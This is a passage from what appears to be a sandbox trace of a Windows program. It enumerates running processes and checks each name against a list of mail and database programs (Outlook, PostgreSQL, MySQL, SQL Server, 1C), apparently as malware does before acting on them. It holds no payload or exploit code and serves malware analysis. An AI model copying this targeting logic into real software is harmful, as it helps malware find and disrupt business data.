	[0056.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smartftp.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="smartftp.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smartftp.exe") returned 1
	[0056.314] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0056.314] lstrlenW (lpString="thunderbird.exe") returned 15
	[0056.314] lstrcmpiW (lpString1="1c8.exe", lpString2="thunderbird.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="thunderbird.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="outlook.exe", lpString2="thunderbird.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="postgres.exe", lpString2="thunderbird.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="thunderbird.exe") returned -1
	[0056.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="thunderbird.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="sqlservr.exe", lpString2="thunderbird.exe") returned -1
	[0056.315] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0056.315] lstrlenW (lpString="totalcmd.exe") returned 12
	[0056.315] lstrcmpiW (lpString1="1c8.exe", lpString2="totalcmd.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="1cv77.exe", lpString2="totalcmd.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="outlook.exe", lpString2="totalcmd.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="postgres.exe", lpString2="totalcmd.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="totalcmd.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="mysqld.exe", lpString2="totalcmd.exe") returned -1
	[0056.315] lstrcmpiW (lpString1="sqlservr.exe", lpString2="totalcmd.exe") returned -1
	[0056.316] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0056.316] lstrlenW (lpString="trillian.exe") returned 12
	[0056.316] lstrcmpiW (lpString1="1c8.exe", lpString2="trillian.exe") returned -1
	[0056.316] lstrcmpiW (lpString1="1cv77.exe", lpString2="trillian.exe") returned -1
	[0056.316] lstrcmpiW (lpString1="outlook.exe", lpString2="trillian.exe") returned -1
	[0056.316] lstrcmpiW (lpString1="postgres.exe", lpString2="trillian.exe") returned -1
	[0056.316] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="trillian.exe") returned -1
	[0056.316] lstrcmpiW (lpString1="mysqld.exe", lpString2="trillian.exe") returned -1
	[0056.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="trillian.exe") returned -1
	[0056.316] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0056.317] lstrlenW (lpString="webdrive.exe") returned 12
	[0056.317] lstrcmpiW (lpString1="1c8.exe", lpString2="webdrive.exe") returned -1
	[0056.317] lstrcmpiW (lpString1="1cv77.exe", lpString2="webdrive.exe") returned -1
	[0056.317] lstrcmpiW (lpString1="outlook.exe", lpString2="webdrive.exe") returned -1
	[0056.317] lstrcmpiW (lpString1="postgres.exe", lpString2="webdrive.exe") returned -1
	[0056.317] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="webdrive.exe") returned -1
	[0056.317] lstrcmpiW (lpString1="mysqld.exe", lpString2="webdrive.exe") returned -1
	[0056.317] lstrcmpiW (lpString1="sqlservr.exe", lpString2="webdrive.exe") returned -1
	[0056.317] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0056.318] lstrlenW (lpString="whatsapp.exe") returned 12
	[0056.318] lstrcmpiW (lpString1="1c8.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] lstrcmpiW (lpString1="1cv77.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] lstrcmpiW (lpString1="outlook.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] lstrcmpiW (lpString1="postgres.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] lstrcmpiW (lpString1="mysqld.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] lstrcmpiW (lpString1="sqlservr.exe", lpString2="whatsapp.exe") returned -1
	[0056.318] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0056.319] lstrlenW (lpString="winscp.exe") returned 10
	[0056.319] lstrcmpiW (lpString1="1c8.exe", lpString2="winscp.exe") returned -1
	[0056.319] lstrcmpiW (lpString1="1cv77.exe", lpString2="winscp.exe") returned -1
	[0056.319] lstrcmpiW (lpString1="outlook.exe", lpString2="winscp.exe") returned -1
	[0056.319] lstrcmpiW (lpString1="postgres.exe", lpString2="winscp.exe") returned -1
	[0056.319] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winscp.exe") returned -1
	[0056.319] lstrcmpiW (lpString1="mysqld.exe", lpString2="winscp.exe") returned -1
	[0056.319] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winscp.exe") returned -1
	[0056.319] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0056.320] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0056.320] lstrcmpiW (lpString1="1c8.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] lstrcmpiW (lpString1="1cv77.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] lstrcmpiW (lpString1="outlook.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] lstrcmpiW (lpString1="postgres.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] lstrcmpiW (lpString1="mysqld.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] lstrcmpiW (lpString1="sqlservr.exe", lpString2="yahoomessenger.exe") returned -1
	[0056.320] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0056.321] lstrlenW (lpString="active-charge.exe") returned 17
	[0056.321] lstrcmpiW (lpString1="1c8.exe", lpString2="active-charge.exe") returned -1
	[0056.321] lstrcmpiW (lpString1="1cv77.exe", lpString2="active-charge.exe") returned -1
	[0056.321] lstrcmpiW (lpString1="outlook.exe", lpString2="active-charge.exe") returned 1
	[0056.321] lstrcmpiW (lpString1="postgres.exe", lpString2="active-charge.exe") returned 1
	[0056.321] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="active-charge.exe") returned 1
	[0056.321] lstrcmpiW (lpString1="mysqld.exe", lpString2="active-charge.exe") returned 1
	[0056.321] lstrcmpiW (lpString1="sqlservr.exe", lpString2="active-charge.exe") returned 1
	[0056.321] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0056.322] lstrlenW (lpString="accupos.exe") returned 11
	[0056.322] lstrcmpiW (lpString1="1c8.exe", lpString2="accupos.exe") returned -1
	[0056.322] lstrcmpiW (lpString1="1cv77.exe", lpString2="accupos.exe") returned -1
	[0056.322] lstrcmpiW (lpString1="outlook.exe", lpString2="accupos.exe") returned 1
	[0056.322] lstrcmpiW (lpString1="postgres.exe", lpString2="accupos.exe") returned 1
	[0056.322] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="accupos.exe") returned 1
	[0056.322] lstrcmpiW (lpString1="mysqld.exe", lpString2="accupos.exe") returned 1
	[0056.322] lstrcmpiW (lpString1="sqlservr.exe", lpString2="accupos.exe") returned 1
	[0056.322] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0056.324] lstrlenW (lpString="afr38.exe") returned 9
	[0056.324] lstrcmpiW (lpString1="1c8.exe", lpString2="afr38.exe") returned -1
	[0056.324] lstrcmpiW (lpString1="1cv77.exe", lpString2="afr38.exe") returned -1
	[0056.324] lstrcmpiW (lpString1="outlook.exe", lpString2="afr38.exe") returned 1
	[0056.324] lstrcmpiW (lpString1="postgres.exe", lpString2="afr38.exe") returned 1
	[0056.324] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="afr38.exe") returned 1
	[0056.324] lstrcmpiW (lpString1="mysqld.exe", lpString2="afr38.exe") returned 1
	[0056.324] lstrcmpiW (lpString1="sqlservr.exe", lpString2="afr38.exe") returned 1
	[0056.324] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0056.325] lstrlenW (lpString="aldelo.exe") returned 10
	[0056.325] lstrcmpiW (lpString1="1c8.exe", lpString2="aldelo.exe") returned -1
	[0056.325] lstrcmpiW (lpString1="1cv77.exe", lpString2="aldelo.exe") returned -1
	[0056.325] lstrcmpiW (lpString1="outlook.exe", lpString2="aldelo.exe") returned 1
	[0056.325] lstrcmpiW (lpString1="postgres.exe", lpString2="aldelo.exe") returned 1
	[0056.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="aldelo.exe") returned 1
	[0056.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="aldelo.exe") returned 1
	[0056.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="aldelo.exe") returned 1
	[0056.325] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0056.326] lstrlenW (lpString="ccv_server.exe") returned 14
	[0056.326] lstrcmpiW (lpString1="1c8.exe", lpString2="ccv_server.exe") returned -1
	[0056.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="ccv_server.exe") returned -1
	[0056.326] lstrcmpiW (lpString1="outlook.exe", lpString2="ccv_server.exe") returned 1
	[0056.326] lstrcmpiW (lpString1="postgres.exe", lpString2="ccv_server.exe") returned 1
	[0056.326] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ccv_server.exe") returned 1
	[0056.326] lstrcmpiW (lpString1="mysqld.exe", lpString2="ccv_server.exe") returned 1
	[0056.326] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ccv_server.exe") returned 1
	[0056.326] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0056.327] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0056.327] lstrcmpiW (lpString1="1c8.exe", lpString2="centralcreditcard.exe") returned -1
	[0056.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="centralcreditcard.exe") returned -1
	[0056.327] lstrcmpiW (lpString1="outlook.exe", lpString2="centralcreditcard.exe") returned 1
	[0056.327] lstrcmpiW (lpString1="postgres.exe", lpString2="centralcreditcard.exe") returned 1
	[0056.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="centralcreditcard.exe") returned 1
	[0056.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="centralcreditcard.exe") returned 1
	[0056.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="centralcreditcard.exe") returned 1
	[0056.327] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0056.328] lstrlenW (lpString="creditservice.exe") returned 17
	[0056.328] lstrcmpiW (lpString1="1c8.exe", lpString2="creditservice.exe") returned -1
	[0056.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="creditservice.exe") returned -1
	[0056.328] lstrcmpiW (lpString1="outlook.exe", lpString2="creditservice.exe") returned 1
	[0056.328] lstrcmpiW (lpString1="postgres.exe", lpString2="creditservice.exe") returned 1
	[0056.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="creditservice.exe") returned 1
	[0056.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="creditservice.exe") returned 1
	[0056.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="creditservice.exe") returned 1
	[0056.328] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0056.329] lstrlenW (lpString="edcsvr.exe") returned 10
	[0056.329] lstrcmpiW (lpString1="1c8.exe", lpString2="edcsvr.exe") returned -1
	[0056.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="edcsvr.exe") returned -1
	[0056.329] lstrcmpiW (lpString1="outlook.exe", lpString2="edcsvr.exe") returned 1
	[0056.329] lstrcmpiW (lpString1="postgres.exe", lpString2="edcsvr.exe") returned 1
	[0056.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="edcsvr.exe") returned 1
	[0056.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="edcsvr.exe") returned 1
	[0056.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="edcsvr.exe") returned 1
	[0056.329] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0056.329] lstrlenW (lpString="fpos.exe") returned 8
	[0056.330] lstrcmpiW (lpString1="1c8.exe", lpString2="fpos.exe") returned -1
	[0056.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="fpos.exe") returned -1
	[0056.330] lstrcmpiW (lpString1="outlook.exe", lpString2="fpos.exe") returned 1
	[0056.330] lstrcmpiW (lpString1="postgres.exe", lpString2="fpos.exe") returned 1
	[0056.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fpos.exe") returned 1
	[0056.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="fpos.exe") returned 1
	[0056.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fpos.exe") returned 1
	[0056.330] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0056.330] lstrlenW (lpString="isspos.exe") returned 10
	[0056.330] lstrcmpiW (lpString1="1c8.exe", lpString2="isspos.exe") returned -1
	[0056.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="isspos.exe") returned -1
	[0056.330] lstrcmpiW (lpString1="outlook.exe", lpString2="isspos.exe") returned 1
	[0056.330] lstrcmpiW (lpString1="postgres.exe", lpString2="isspos.exe") returned 1
	[0056.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="isspos.exe") returned 1
	[0056.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="isspos.exe") returned 1
	[0056.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="isspos.exe") returned 1
	[0056.331] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0056.331] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0056.331] lstrcmpiW (lpString1="1c8.exe", lpString2="mxslipstream.exe") returned -1
	[0056.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="mxslipstream.exe") returned -1
	[0056.331] lstrcmpiW (lpString1="outlook.exe", lpString2="mxslipstream.exe") returned 1
	[0056.331] lstrcmpiW (lpString1="postgres.exe", lpString2="mxslipstream.exe") returned 1
	[0056.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="mxslipstream.exe") returned 1
	[0056.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="mxslipstream.exe") returned 1
	[0056.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="mxslipstream.exe") returned 1
	[0056.331] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0056.332] lstrlenW (lpString="omnipos.exe") returned 11
	[0056.332] lstrcmpiW (lpString1="1c8.exe", lpString2="omnipos.exe") returned -1
	[0056.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="omnipos.exe") returned -1
	[0056.332] lstrcmpiW (lpString1="outlook.exe", lpString2="omnipos.exe") returned 1
	[0056.332] lstrcmpiW (lpString1="postgres.exe", lpString2="omnipos.exe") returned 1
	[0056.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="omnipos.exe") returned -1
	[0056.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="omnipos.exe") returned -1
	[0056.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="omnipos.exe") returned 1
	[0056.332] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0056.333] lstrlenW (lpString="spcwin.exe") returned 10
	[0056.333] lstrcmpiW (lpString1="1c8.exe", lpString2="spcwin.exe") returned -1
	[0056.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="spcwin.exe") returned -1
	[0056.333] lstrcmpiW (lpString1="outlook.exe", lpString2="spcwin.exe") returned -1
	[0056.333] lstrcmpiW (lpString1="postgres.exe", lpString2="spcwin.exe") returned -1
	[0056.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spcwin.exe") returned -1
	[0056.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="spcwin.exe") returned -1
	[0056.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spcwin.exe") returned 1
	[0056.333] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0056.334] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0056.334] lstrcmpiW (lpString1="1c8.exe", lpString2="spgagentservice.exe") returned -1
	[0056.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="spgagentservice.exe") returned -1
	[0056.334] lstrcmpiW (lpString1="outlook.exe", lpString2="spgagentservice.exe") returned -1
	[0056.334] lstrcmpiW (lpString1="postgres.exe", lpString2="spgagentservice.exe") returned -1
	[0056.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spgagentservice.exe") returned -1
	[0056.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="spgagentservice.exe") returned -1
	[0056.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spgagentservice.exe") returned 1
	[0056.334] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0056.335] lstrlenW (lpString="utg2.exe") returned 8
	[0056.335] lstrcmpiW (lpString1="1c8.exe", lpString2="utg2.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="utg2.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="outlook.exe", lpString2="utg2.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="postgres.exe", lpString2="utg2.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="utg2.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="mysqld.exe", lpString2="utg2.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="sqlservr.exe", lpString2="utg2.exe") returned -1
	[0056.335] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0056.335] lstrlenW (lpString="explicit.exe") returned 12
	[0056.335] lstrcmpiW (lpString1="1c8.exe", lpString2="explicit.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="explicit.exe") returned -1
	[0056.335] lstrcmpiW (lpString1="outlook.exe", lpString2="explicit.exe") returned 1
	[0056.335] lstrcmpiW (lpString1="postgres.exe", lpString2="explicit.exe") returned 1
	[0056.336] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explicit.exe") returned 1
	[0056.336] lstrcmpiW (lpString1="mysqld.exe", lpString2="explicit.exe") returned 1
	[0056.336] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explicit.exe") returned 1
	[0056.336] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0056.336] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0056.336] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1
	[0056.336] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0056.337] lstrlenW (lpString="taskhostw.exe") returned 13
	[0056.337] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1
	[0056.337] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0056.338] lstrlenW (lpString="UsoClient.exe") returned 13
	[0056.338] lstrcmpiW (lpString1="1c8.exe", lpString2="UsoClient.exe") returned -1
	[0056.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="UsoClient.exe") returned -1
	[0056.338] lstrcmpiW (lpString1="outlook.exe", lpString2="UsoClient.exe") returned -1
	[0056.396] lstrcmpiW (lpString1="postgres.exe", lpString2="UsoClient.exe") returned -1
	[0056.396] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UsoClient.exe") returned -1
	[0056.396] lstrcmpiW (lpString1="mysqld.exe", lpString2="UsoClient.exe") returned -1
	[0056.396] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UsoClient.exe") returned -1
	[0056.396] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0056.397] lstrlenW (lpString="taskhostw.exe") returned 13
	[0056.397] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1
	[0056.397] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1
	[0056.397] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1
	[0056.397] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1
	[0056.397] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1
	[0056.397] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1
	[0056.397] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1
